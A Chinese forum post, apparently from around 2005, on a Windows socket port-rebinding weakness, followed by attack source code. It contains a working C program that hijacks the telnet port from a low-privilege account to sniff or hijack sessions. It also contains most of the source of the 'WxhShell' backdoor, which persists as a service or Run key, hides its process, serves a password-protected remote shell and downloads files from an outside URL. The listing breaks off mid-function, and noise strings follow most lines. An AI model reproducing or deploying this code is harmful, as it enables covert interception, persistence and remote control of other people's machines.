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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WSKubn?7B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  n$u@v(I  
Bs!F |x(  
  saddr.sin_family = AF_INET; 1zP)~p3a  
F*['1eAmdY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I;g>r8N-Bu  
k0(_0o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;_oJGII?br  
i>aIuQ`pe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5{Oq* |  
wR%F>[ 6.{  
  这意味着什么?意味着可以进行如下的攻击: *I6W6y;E=  
wxc24y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;]PP +h  
u==`]\_@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }I3m8A  
; "K"S[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1KMSBLx  
"|^-Yk\U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !XqU'xxC  
buu /Nz$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,vh $G 7D  
_Oc(K "v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _wp_y-"  
\5pBK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TZ+- >CG  
Q ^{XM  
  #include 7@NV|Idtd  
  #include uz /Wbc>y  
  #include .dO8I/lhV  
  #include    MfU0*nVF~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]I[\Io1  
  int main() :?P>))vT%  
  { [q!/YL3 %  
  WORD wVersionRequested; q\n,/#'i~  
  DWORD ret; _C54l  
  WSADATA wsaData; HPc~wX  
  BOOL val; 0CpE,gg  
  SOCKADDR_IN saddr; ;@FCa j&  
  SOCKADDR_IN scaddr; cfC}"As  
  int err; HD YWDp  
  SOCKET s; 7SJbrOL4Q-  
  SOCKET sc; ;u*I#)7  
  int caddsize; %:!ILN  
  HANDLE mt; 2)MX<prH  
  DWORD tid;   3%(,f,  
  wVersionRequested = MAKEWORD( 2, 2 ); `V2doV)  
  err = WSAStartup( wVersionRequested, &wsaData ); ufn% sA  
  if ( err != 0 ) {  Eyq4w  
  printf("error!WSAStartup failed!\n"); E"zC6iYZ;  
  return -1; FI"KJk'  
  } M)"'Q6ck=  
  saddr.sin_family = AF_INET; u\q(v D.  
   f=IF_|@^S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @+7CfvM  
/d*[za'0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A=+1PgL66  
  saddr.sin_port = htons(23); |)y-EBZe\"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q&2L@l3A  
  { #Q"04'g  
  printf("error!socket failed!\n"); 5VSc5*[  
  return -1; nyL$z-I)  
  } [0!*<%BgK'  
  val = TRUE; v, !`A!{D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +45.fo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }ag;yf;  
  { A_Y5{6@  
  printf("error!setsockopt failed!\n"); VA @  
  return -1; y9U~4  
  } G2&,R{L6w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (QS 0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E BSjU8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i_:#][nWX  
2O}X-/H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .I]EP-  
  { 32Wa{LG;2  
  ret=GetLastError(); ( 6ucA  
  printf("error!bind failed!\n");  i (`Q{l  
  return -1; ^O& y ;5  
  } MaLH2?je^n  
  listen(s,2); uANpqT}!  
  while(1) G!Yt.M 0  
  { oA8A @,-L  
  caddsize = sizeof(scaddr); g"N&*V2  
  //接受连接请求 P?@o?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I#'yy7J  
  if(sc!=INVALID_SOCKET) DiskGq@T  
  { c`/kx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !AG oI7W}  
  if(mt==NULL) Q$Rp?o&  
  { :o:Z   
  printf("Thread Creat Failed!\n"); p*l=rni4  
  break; S{Zf}8?6$  
  } b#*"eZj  
  } t]T't='  
  CloseHandle(mt); G[=;519  
  } L) UCVm  
  closesocket(s); 2t?Vl%<  
  WSACleanup(); =7EkN% V:{  
  return 0; Rq`5ff3,  
  }   `Ue5;<K-/  
  DWORD WINAPI ClientThread(LPVOID lpParam) j Y(|z*|  
  { 4]ko  
  SOCKET ss = (SOCKET)lpParam; 89{`GKWX  
  SOCKET sc; yH9&HFDp  
  unsigned char buf[4096]; e-nwR  
  SOCKADDR_IN saddr; $RYOj{1  
  long num; @k\,XV`T~t  
  DWORD val; wRZS+^hx  
  DWORD ret; _YN C}PUU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g9Ty%|Q7(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c< sq0('`  
  saddr.sin_family = AF_INET; Cq[Hh#q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4>/i,_&K K  
  saddr.sin_port = htons(23); DPCQqV|7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nW`] =  
  { ^V7)V)Z;0  
  printf("error!socket failed!\n"); |pBvy1e4)  
  return -1; P0RtS1A  
  } >Bu _NoM  
  val = 100; wxN&k$`a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `|PhXr  
  { NN5G '|i  
  ret = GetLastError(); 0Hx'C^m72  
  return -1; 9m<%+ S5&  
  } 9Q1w$t~Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ENI|e,'[  
  { |XMWi/p  
  ret = GetLastError(); iBmvy 7S?  
  return -1; P76gJ@#m  
  } %-B wK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yZ]?-7  
  { [[xnp;-;  
  printf("error!socket connect failed!\n"); I:0dz:T7*  
  closesocket(sc); a-AA$U9hj  
  closesocket(ss); x3F94+<n{  
  return -1; m-#]v}0A  
  } #V$sb1u  
  while(1) VV sE]7P ]  
  { Lhrlz,1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t^}"8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wys$#pJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MZqHL4<|  
  num = recv(ss,buf,4096,0); ,XI=e=  
  if(num>0) g4{0  
  send(sc,buf,num,0); N34bB>_  
  else if(num==0) 4G hg~0  
  break; D |fo:Xp,  
  num = recv(sc,buf,4096,0); Vt-V'`Y  
  if(num>0) eu?P6>urA  
  send(ss,buf,num,0); d,Oe3?][0p  
  else if(num==0) ~M1T @Mv  
  break; iRqLLMrn  
  } cVYu(ssC4  
  closesocket(ss); $"k1^&&E  
  closesocket(sc); #WGyQ u  
  return 0 ; C%j@s|  
  } 2sVDv@2  
= )4bf"~8  
qk>M~,  
========================================================== t;:Yf  
$Rn9*OKr  
下边附上一个代码,,WXhSHELL C;#gy-  
_@VKWU$$  
========================================================== A7eYKo q  
[?(qhp!  
#include "stdafx.h" 2wgcVQ Awa  
1_StgFu u  
#include <stdio.h> \&U"7gSL  
#include <string.h> [4@@b"H  
#include <windows.h> 8ZJ6~~h  
#include <winsock2.h> Z=< D`  
#include <winsvc.h> s?fEorG  
#include <urlmon.h> +ZV?yR2yn  
uC6e2py<[  
#pragma comment (lib, "Ws2_32.lib") 2z1r|?l  
#pragma comment (lib, "urlmon.lib") Ik@MIxLK  
KXUJ*l-5  
#define MAX_USER   100 // 最大客户端连接数 ju4wU; Nu  
#define BUF_SOCK   200 // sock buffer Q8]S6,pt  
#define KEY_BUFF   255 // 输入 buffer ~q}]/0-m  
''k}3o.K[  
#define REBOOT     0   // 重启 '*t<g@2$  
#define SHUTDOWN   1   // 关机 @V+KL>Qw  
Vg mYm~y'  
#define DEF_PORT   5000 // 监听端口 buWF6LFC  
3M'Y'Szm  
#define REG_LEN     16   // 注册表键长度 ej&o,gX  
#define SVC_LEN     80   // NT服务名长度 o=F!&]+  
,S~A]uH'  
// 从dll定义API A5O;C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jO`L:D/C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eh[NKgYL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -qLNs_ _k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zE7)4!  
qQS&K%F  
// wxhshell配置信息 . ywVGBvJ  
struct WSCFG { 1KJ[&jS ]  
  int ws_port;         // 监听端口 M?kXzb\O  
  char ws_passstr[REG_LEN]; // 口令 5 RYrAzQo  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1-R4A7+3  
  char ws_regname[REG_LEN]; // 注册表键名 Bma.Uln  
  char ws_svcname[REG_LEN]; // 服务名 "IWL& cH3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w"A>mEex<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pvRa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s&DAO r!i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dQ#oY|a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H{_6e6`e.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lg 1r]  
u:,B&}j  
}; Qr?(2t#  
0.1?hb|p5T  
// default Wxhshell configuration 9D yy&$s  
struct WSCFG wscfg={DEF_PORT, q@Zeu\T,*#  
    "xuhuanlingzhe", 5rJ7CfVq  
    1, _$oE'lat  
    "Wxhshell", |voZ0U  
    "Wxhshell", lO}I>yo}\  
            "WxhShell Service", |8{ \j*3  
    "Wrsky Windows CmdShell Service", QR$m i1Vv\  
    "Please Input Your Password: ", &@qB6!^  
  1, V~t; J  
  "http://www.wrsky.com/wxhshell.exe", c{jTCkzq  
  "Wxhshell.exe" p#gf^Y5  
    }; cWI7];/d;  
SWNT}{x]  
// 消息定义模块 \x"BgLSE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <V#]3$(S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K{FBrh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]_4HtcL4  
char *msg_ws_ext="\n\rExit."; '9AYE"7Ydk  
char *msg_ws_end="\n\rQuit."; .;&4'ga4  
char *msg_ws_boot="\n\rReboot..."; ,@Elw>^  
char *msg_ws_poff="\n\rShutdown..."; 5[^Rf'wy  
char *msg_ws_down="\n\rSave to "; BIT<J5>  
 x![ut  
char *msg_ws_err="\n\rErr!"; 0rc'SEl  
char *msg_ws_ok="\n\rOK!"; jfZ)  
t<+gyAW  
char ExeFile[MAX_PATH]; -?ebkHe  
int nUser = 0; @~IZ%lEQsD  
HANDLE handles[MAX_USER];  f^[m~  
int OsIsNt; {65_k  
t\\<+^[%  
SERVICE_STATUS       serviceStatus; Qr~yHFc1y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^K^rl 9  
A.<M*[{q  
// 函数声明 \K:?#07Wj4  
int Install(void); "}uV=y  
int Uninstall(void); Ul|htB<1:  
int DownloadFile(char *sURL, SOCKET wsh); YRj"]= 5N  
int Boot(int flag); Wix4se1Ac  
void HideProc(void); ~vfPsaRh  
int GetOsVer(void); M7neOQHq  
int Wxhshell(SOCKET wsl); @%6"xnb `  
void TalkWithClient(void *cs); ?C_Y2JY  
int CmdShell(SOCKET sock); ]yas]5H   
int StartFromService(void); So#>x5dL  
int StartWxhshell(LPSTR lpCmdLine); z>spRl,dr  
1*B'o<?P1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .L_ Hk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =AeOkie  
No]#RvEd3  
// 数据结构和表定义 fc%C!^7  
SERVICE_TABLE_ENTRY DispatchTable[] = w5a;ts_x  
{ <@qJsRbhK  
{wscfg.ws_svcname, NTServiceMain}, s18A  
{NULL, NULL} Ia>~ph#]{`  
}; :) T#.(mR  
gy/bA  
// 自我安装 IZZ $p{  
int Install(void) ,*;g+[Bhpl  
{ ~&+8m=   
  char svExeFile[MAX_PATH]; 4TaHS!9  
  HKEY key; A)nE+ec1  
  strcpy(svExeFile,ExeFile); {CGk9g" `  
ymA8`k5>@  
// 如果是win9x系统,修改注册表设为自启动 `(@{t:L  
if(!OsIsNt) { ABhQ7 x|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p1,.f&(f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z-`4DlJUS  
  RegCloseKey(key); IVG77+O# }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /ASpAl[J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2%j"E{J&  
  RegCloseKey(key); h ?+vH{}j  
  return 0; BNbz{tbX"  
    } !]#;'  
  } E1|:t$>Ld  
} .c_qMTm"  
else { Q_|Lv&  
|TuFx=~5v  
// 如果是NT以上系统,安装为系统服务 .WW|v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \0^Je>-:U  
if (schSCManager!=0) !A"-9OS2  
{ ^L's45&_  
  SC_HANDLE schService = CreateService !GZ{UmwA  
  ( 'zYx4&s  
  schSCManager, rF . Oo0  
  wscfg.ws_svcname, [3(lk_t  
  wscfg.ws_svcdisp, R9%"Kxm  
  SERVICE_ALL_ACCESS, N1'$;9 c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '6Yx03t  
  SERVICE_AUTO_START, iKgH :[j  
  SERVICE_ERROR_NORMAL, E^V4O l<  
  svExeFile, :z+l=d:4  
  NULL, f >\~h,SLL  
  NULL, (EOYJHZB!  
  NULL, Gv 6#LcF#  
  NULL, N`5 mPE  
  NULL wmFS+F4`2  
  ); FJ O- p  
  if (schService!=0) Iz I hC  
  { 2Xp?O+b#"O  
  CloseServiceHandle(schService); A)D1 #,0  
  CloseServiceHandle(schSCManager); Us8nOr>5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?rgtbiSW-  
  strcat(svExeFile,wscfg.ws_svcname); (e[8`C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f_tC:T4a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~a.ei^r  
  RegCloseKey(key); &fgfCZz'  
  return 0; Tw9?U,]  
    } @%$<,$=  
  } h,P#)^"  
  CloseServiceHandle(schSCManager); /1LQx>1d  
} UQ+!P<>w   
} zT jk^  
}<G#bh6;Q  
return 1; b$eZ>X  
} 6zW3!_tz  
k!sk\~>YO  
// 自我卸载 }%k 3  
int Uninstall(void) |(rTz!!-  
{ $U}GX'1LZ  
  HKEY key; bF? {  
+ Scw;gO  
if(!OsIsNt) { R(DlJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  :O{ ZZ  
  RegDeleteValue(key,wscfg.ws_regname); WB=|Ty ~l  
  RegCloseKey(key); Cb;49;q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *`bAu *  
  RegDeleteValue(key,wscfg.ws_regname); zgA/B{DaC;  
  RegCloseKey(key); bJ9K!6s??`  
  return 0; 33b 3v\N  
  } O4Hc"v  
} NEX{vZkgw  
} 0o-KjX?kP  
else { qX!P:M  
p ^Dm w0y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |1^ !rHg  
if (schSCManager!=0) u6~/" _FwY  
{ K1^x+I7%U[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ct30EZ  
  if (schService!=0) OqA#4h4^  
  { ?ZT+4U00U  
  if(DeleteService(schService)!=0) { tD\%SiTg=b  
  CloseServiceHandle(schService); S%k](\7!  
  CloseServiceHandle(schSCManager); 63y&MaqSJ  
  return 0; p>GxSE)  
  } jsnk*>j  
  CloseServiceHandle(schService); ekhx?rz  
  } R3gg{hQ  
  CloseServiceHandle(schSCManager); cAc>p-y%  
} @If ^5s;z  
} AF-uTf  
P|4qbm4%O,  
return 1; or]kXefG3  
} {9*k \d/;  
D\i8WU  
// 从指定url下载文件 =dT sGNz  
int DownloadFile(char *sURL, SOCKET wsh) !`?*zf  
{ ZF6?N?t}h8  
  HRESULT hr; Ju.B!)uS#  
char seps[]= "/"; !/Wp0E'A  
char *token; 1dahVc1W  
char *file; j^'op|l  
char myURL[MAX_PATH]; ;OynkZs)  
char myFILE[MAX_PATH]; iN+Tig?c  
3G)Wmmh"a  
strcpy(myURL,sURL); R#UcwX}o  
  token=strtok(myURL,seps); ]K(>r#'nH  
  while(token!=NULL) }+Ne)B E  
  { *iVCHQ~  
    file=token; ,/>hWAx  
  token=strtok(NULL,seps); k9pOY]_Y  
  } dJ}E,rW}  
NWq>Z!x`  
GetCurrentDirectory(MAX_PATH,myFILE); !9knF t43  
strcat(myFILE, "\\"); }+4^ZbX+:  
strcat(myFILE, file); "]M]pR/j  
  send(wsh,myFILE,strlen(myFILE),0); io{uN/!X_J  
send(wsh,"...",3,0); Vx6/Rehj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B5Y 3GWhrx  
  if(hr==S_OK) 8V$:th('  
return 0; ,AO]4Ec  
else (d2|r)O  
return 1; RiX~YL eM  
u79,+H@ep  
} ZfYva(zP{Q  
^ A`@g4!  
// 系统电源模块 *6trK`tx^  
int Boot(int flag) /X_g[*]?  
{ `pzXh0}|  
  HANDLE hToken; rL /e  
  TOKEN_PRIVILEGES tkp; 8I`t`C/4  
|3A/Og  
  if(OsIsNt) { a*Oc:$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r)G^V&96  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TsB"<6@!AA  
    tkp.PrivilegeCount = 1; "/&_B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |*+f N8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2HemPth  
if(flag==REBOOT) { 8- U1Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X<<hb  
  return 0; D< h+r?  
} hS}d vZa  
else { }I1SC7gY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RS>;$O_(M  
  return 0; v0yaFP#kG  
} )Uv lEG']  
  } 8 N5ga  
  else { ?/ @~ d  
if(flag==REBOOT) { kt ILKpHt"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eKq`t.*Ft  
  return 0; 1UHStR  
} Gs% cod  
else { f;u<r?>Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MifPZQ  
  return 0; l<]@5"wN  
} Ie[8Iot?bn  
} d3$&I==;:  
#Tjv(O[&  
return 1; j}2,|9ne  
} =X0"!y"  
e*7nq ~ B5  
// win9x进程隐藏模块 !8Rsz:7^-  
void HideProc(void) @o[C Xrz  
{ |-W7n'n  
Jv|uI1V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yy$GfjJtL]  
  if ( hKernel != NULL ) uz(3ml^S  
  { nty^De%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "QWF&-kAI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U9d0nj9 j  
    FreeLibrary(hKernel); {c'2{`px 5  
  } FZW)C'j  
G\y:O9(  
return; RJo"yB$1e6  
} Ye'=F  
.#M'  
// 获取操作系统版本 /.'tfy $  
int GetOsVer(void) \,-t]$9  
{ A/XY' 3  
  OSVERSIONINFO winfo; u}eqU%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :|s!_G<  
  GetVersionEx(&winfo); I.[2-~yf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q K sI}X~  
  return 1; {9tKq--@E9  
  else qno8qF*  
  return 0; ~nQv yM!$  
} p[Pa(a,B7  
)jM' x&Vg  
// 客户端句柄模块 MeXzWLH  
int Wxhshell(SOCKET wsl) G@YX8!w U  
{ W 6_~.m"b  
  SOCKET wsh; tOJK~%'  
  struct sockaddr_in client; "f/Su(6{0  
  DWORD myID; 5'JONw'\  
(]JZ1s|  
  while(nUser<MAX_USER) or?@Ti;  
{ Vv"JN?dHi  
  int nSize=sizeof(client); aZ[ aZU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1:7 uS.  
  if(wsh==INVALID_SOCKET) return 1; +d7sy0  
n+C]&6-b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qSB]Zm<  
if(handles[nUser]==0) HLL[r0P`F  
  closesocket(wsh); 'W!N1W@  
else ea"!:cL(g  
  nUser++; o"^+i#H!  
  } b51{sL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  V Ae@P  
B0_[bQoc1  
  return 0; Ck71N3~W  
} s*"Yi~  
O~E6"v Q  
// 关闭 socket 5XK}8\  
void CloseIt(SOCKET wsh) -8j<`(M' 5  
{ E\3fL"lM  
closesocket(wsh); !H,_*u.  
nUser--; vdwh59W  
ExitThread(0); svt%UE|_:$  
} 2E V M*^A  
(zW;&A  
// 客户端请求句柄 ^Z?X\t  
void TalkWithClient(void *cs) v9<7=D&x  
{ 8db J'  
@8IY J{=  
  SOCKET wsh=(SOCKET)cs; K+9oV[DMs  
  char pwd[SVC_LEN]; (7C&I- l  
  char cmd[KEY_BUFF]; gmU_# J%~  
char chr[1]; h/I'9&J>*  
int i,j; wz!a;]agg  
^tWt"GgC  
  while (nUser < MAX_USER) { -8sm^A>C  
K+3dwQo  
if(wscfg.ws_passstr) { >C6wm^bl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >(v%"04|e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `t0?PpUo  
  //ZeroMemory(pwd,KEY_BUFF); !$ $|zB%  
      i=0; hD~P)@^  
  while(i<SVC_LEN) { 4'&j<Ah[#  
]zGgx07d  
  // 设置超时 *?;<buJb?  
  fd_set FdRead; OYcf+p"<\  
  struct timeval TimeOut; JfJUOaL  
  FD_ZERO(&FdRead); q1:Y]Rbe  
  FD_SET(wsh,&FdRead); qo1eHn4  
  TimeOut.tv_sec=8; =5NM =K  
  TimeOut.tv_usec=0; R|7yhsJq,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ O1w 6\}_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x?hdC)#DWI  
bU`Ih# q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h'{}eYb+   
  pwd=chr[0]; +&LzLF.bK  
  if(chr[0]==0xd || chr[0]==0xa) { Va^AEuzF  
  pwd=0; Sq9I]A  
  break; VieX 5  
  } O>zPWVwa  
  i++; I y?_2m  
    } F-!,U)  
7qfo%n"  
  // 如果是非法用户,关闭 socket X!+#1NPM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NGl/F{<  
} TW 2OT }  
MA\^<x_?L}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 71AR)6<R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;DMv?-H  
YkRv~bc1]  
while(1) { }E=:k&IDPB  
D`nW9i7  
  ZeroMemory(cmd,KEY_BUFF); Yg 8AMi  
2ckAJcpEb/  
      // 自动支持客户端 telnet标准   d/Q}I[J.u  
  j=0; kF:4 [d  
  while(j<KEY_BUFF) { 19 h7 M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qr`WPTQr"  
  cmd[j]=chr[0]; T6s~f$G  
  if(chr[0]==0xa || chr[0]==0xd) { 8no_xFA  
  cmd[j]=0; F_8nxQ-  
  break; .#"O VI]#  
  } +Eil:Jz  
  j++; X[L6Av  
    } ISHNeO8  
|ITSd%`3_  
  // 下载文件 5):2;hk  
  if(strstr(cmd,"http://")) { l_ycYD$ZA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O34'c_ fZ  
  if(DownloadFile(cmd,wsh)) AJ'YkSg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iI_ad7,u  
  else l3Vw?f   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 *@knkJ  
  } s1,kTde  
  else { <8U qV.&  
VGbuEC[Y  
    switch(cmd[0]) { %@IZ41<C  
  nSH A,c  
  // 帮助 [al,UO  
  case '?': { #"}Z'|X*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s : c  
    break; >|<8QomD  
  } zk+&5d 4(  
  // 安装 |*4)G6J@n  
  case 'i': { P8DT2|Z6f]  
    if(Install()) \cq gCab/2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); neQ2k=ao  
    else 5#~ARk*?a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N2yxli  
    break; =Qt08,.bW  
    } PV?XpT  
  // 卸载 {I s?>m4  
  case 'r': { v:s.V>{"S  
    if(Uninstall()) QcyYTg4i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nrl&"IK|J  
    else S>~QuCMY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /yHM =&Vg]  
    break; WNkAI9B  
    } qzv$E;zAl  
  // 显示 wxhshell 所在路径 g%z?O[CN  
  case 'p': { r>+Hwj0>  
    char svExeFile[MAX_PATH]; H \ $04vkR  
    strcpy(svExeFile,"\n\r"); kc&>l (  
      strcat(svExeFile,ExeFile); RulZh2C  
        send(wsh,svExeFile,strlen(svExeFile),0); Wc4K?3 ZM  
    break; 1x+Y gL5  
    } :0BaEqX  
  // 重启 1Yt;1k'  
  case 'b': { h,Y MR3:X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MRvtuE|g  
    if(Boot(REBOOT)) E.v~<[g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qh%(yL!  
    else { }Sa2s&[<  
    closesocket(wsh); ?9qA"5  
    ExitThread(0); J~z;sTR  
    } 7)zn[4v7qt  
    break; ]Xcqf9k  
